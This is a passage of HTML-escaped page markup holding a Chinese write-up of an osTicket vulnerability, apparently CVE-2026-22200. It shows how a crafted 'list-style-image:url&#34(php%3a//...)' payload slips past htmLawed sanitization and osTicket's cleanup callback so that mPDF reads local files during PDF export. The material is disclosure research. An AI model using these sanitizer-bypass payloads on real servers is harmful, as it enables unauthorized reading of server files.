center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;使用file_get_contents访问解码后的资源&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;h3 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;第二个障碍：HTML净化&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;即使有了针对mPDF的绕过方法，攻击载荷仍需穿过osTicket的输入验证层。工单中的所有富文本HTML内容都会被清理，并交由htmLawed第三方库处理，该库通过中和可疑标签和属性来净化输入。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;htmLawed采用基于白名单的方法严格检查URI方案，并且足够智能，能够识别像&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;%3a&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;这样的URL编码冒号。因此，类似下面的输入URI：&lt;/span&gt;&lt;/p&gt;&lt;pre data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;&quot;&gt;&amp;lt;img&amp;nbsp;src=&amp;quot;php%3a//myurl&amp;quot;&amp;nbsp;/&amp;gt;&lt;/pre&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;会被添加&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;denied:&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;前缀进行中和：&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130102176983566241077.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;htmLawed对URL编码的URI进行中和&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779360&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;htmLawed对URL编码的URI进行中和&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;其他图像属性如&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;srcset&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;也遇到同样问题。&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;style&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;属性中的所有URI也会被完全阻止。例如，像这样的&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;style&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;属性：&lt;/span&gt;&lt;/p&gt;&lt;pre data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;&quot;&gt;&amp;lt;ul&amp;gt;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;nbsp;style=&amp;quot;list-style-image:url(http://myurl.com)&amp;quot;&amp;gt;listitem&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;/pre&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;同样会被添加&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;denied:&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;前缀中和：&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130102176983566247533.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;htmLawed阻止style属性中的URI&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779358&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;htmLawed阻止style属性中的URI&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;h3 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;绕过HTML净化&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在测试&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;style&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;属性时，研究团队注意到htmLawed中存在一个微妙的解析差异。如果在&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;url&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;关键字和开括号之间包含空格，URI就能逃脱净化器的白名单检查。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;例如，以下载荷就完全通过了htmLawed的净化：&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;lt;ul&amp;gt;&amp;lt;li style=&amp;quot;list-style-image:url (http://myurl.com)&amp;quot;&amp;gt;listitem&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130102176983566283425.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;带空格的URL绕过htmLawed检查&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779363&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;带空格的URL绕过htmLawed检查&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;然而，这并非意味着成功。mPDF遵循严格的CSS标准，期望的是&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;url()&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;格式，中间没有多余的空格。如果保留空格，漏洞利用会在汇点（mPDF）失败；如果去掉空格，htmLawed又会阻止该URI。&lt;/span&gt;&lt;/p&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;但在此测试过程中，他们注意到输出会被奇怪地截断：&lt;/span&gt;&lt;/p&gt;&lt;pre data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;&quot;&gt;&amp;lt;ul&amp;gt;&amp;nbsp;&amp;nbsp;&amp;lt;li&amp;nbsp;style=&amp;quot;list-style-image:url&amp;nbsp;(http&amp;quot;&amp;gt;listitem&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;/pre&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;他们发现，osTicket向htmLawed注册了一个自定义的净化后回调函数&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;__html_cleanup&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;，该函数对&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;style&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;属性执行了额外的字符串操作。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130102176983566275173.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;osTicket中危险的__html_cleanup回调函数代码&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779366&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;osTicket中危险的__html_cleanup回调函数代码&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;这段代码处理的是htmLawed已经清理过的输出，因此十分危险。它执行了多种转换，其中最重要的是HTML实体解码和字符剥离。研究团队面临的挑战是构思一个有效载荷，使其既能通过htmLawed，又能经受住&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;__html_cleanup&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;中对关键字符（引号、分号、冒号等）的处理，并最终被转换为mPDF可以接受的格式。他们最终构造出的载荷如下：&lt;/span&gt;&lt;/p&gt;&lt;pre data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;&quot;&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;nbsp;style=&amp;quot;list-style-image:url&amp;amp;#34(php%3a//myurl)&amp;quot;&amp;gt;listitem&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;/pre&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;这个载荷使用了代表双引号&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;的HTML实体&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;amp;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mkqgyiao-q58gxs&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#34&lt;/a&gt;&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;来绕过htmLawed。该实体随后在&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;__html_cleanup&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;中被解码并剥离。值得注意的是，实体不需要结尾的分号。事实上，使用&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;amp;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mkqgyiao-m8xlxq&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#34&lt;/a&gt;;&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;反而会破坏&lt;/span&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;__html_cleanup&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;中的解析逻辑。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;mdnice编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130102176983566212685.png&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;利用HTML实体构建的最终有效载荷&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1024&quot; style=&quot;display: block;max-width: 100%;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin: 0px;&quot; data-imgfileid=&quot;502779364&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/span&gt;&lt;figcaption style=&quot;text-align: center;font-size: 12px;display: flex;justify-content: center;align-items: center;width: 100%;margin-top: -35px;background: rgba(0,0,0,0.7);color: white;line-height: 35px;z-index: 20;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;利用HTML实体构建的最终有效载荷&lt;/span&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;该有效载荷从输入到最终生效的完整流程如下：&lt;/span&gt;&lt;/p&gt;&lt;ol style=&quot;list-style-type: decimal;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;恶意输入：&lt;/span&gt;&lt;/strong&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;url&amp;amp;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mkqgyiao-kmsaw5&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#34&lt;/a&gt;(php%3a//myurl)&lt;/span&gt;&lt;/code&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;htmLawed输出（未改动）：&lt;/span&gt;&lt;/strong&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;url&amp;amp;&lt;a class=&quot;wx_topic_link text-primary hover:underline&quot; topic-id=&quot;mkqgyiao-56hmtu&quot; style=&quot;color: #576B95 !important;&quot; data-topic=&quot;1&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;#34&lt;/a&gt;(php%3a//myurl)&lt;/span&gt;&lt;/code&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;__html_cleanup&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;中的实体解码：&lt;/span&gt;&lt;/strong&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;url&amp;quot;(php%3a//myurl)&lt;/span&gt;&lt;/code&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;__html_cleanup&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;中的字符剥离：&lt;/span&gt;&lt;/strong&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;url(php%3a//myurl)&lt;/span&gt;&lt;/code&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong style=&quot;font-weight: bold;color: black;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;mPDF中的URL解码：&lt;/span&gt;&lt;/strong&gt;&lt;code style=&quot;font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;url(php://myurl)&lt;/span&gt;&lt;/code&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;&quot;&gt;&lt;span style=&quot;float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(),to(rgba(255,255,255,0.1)));&quot;&gt;&lt;span leaf=&quot;&quot;&gt;组合利用：利用PDF生成功能读取文件&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: block;width: 3px;margin: 0 0 0 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: #000;box-shadow: 3px 0 #000,
    0 3px #000,
    -3px 0 #000,
    0 -3px #000;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在有了可工作的有效载荷后，该团队接下来展示了端到端的漏洞利用流程。他们假设的场景是：在Ubuntu上运行默认配置的osTicket 1.18.2版本，且电子邮件功能已配置。所有相关的利用脚本都托管在https://github.com/horizon3ai/CVE-2026-22200。&lt;/span&gt;&lt;/p&gt;&lt;h3 data-tool=&quot;mdnice编辑器&quot; style=&quot;margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;获取工单访问权限&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p data-tool=&quot;mdnice编辑器&quot; style=&quot;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;要触发PDF导出功能，攻击者首先必须能够查看已提交的工单。在默认的osTicket配置下，匿名攻击者有两种路径：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;&quot;&gt;&lt;strong 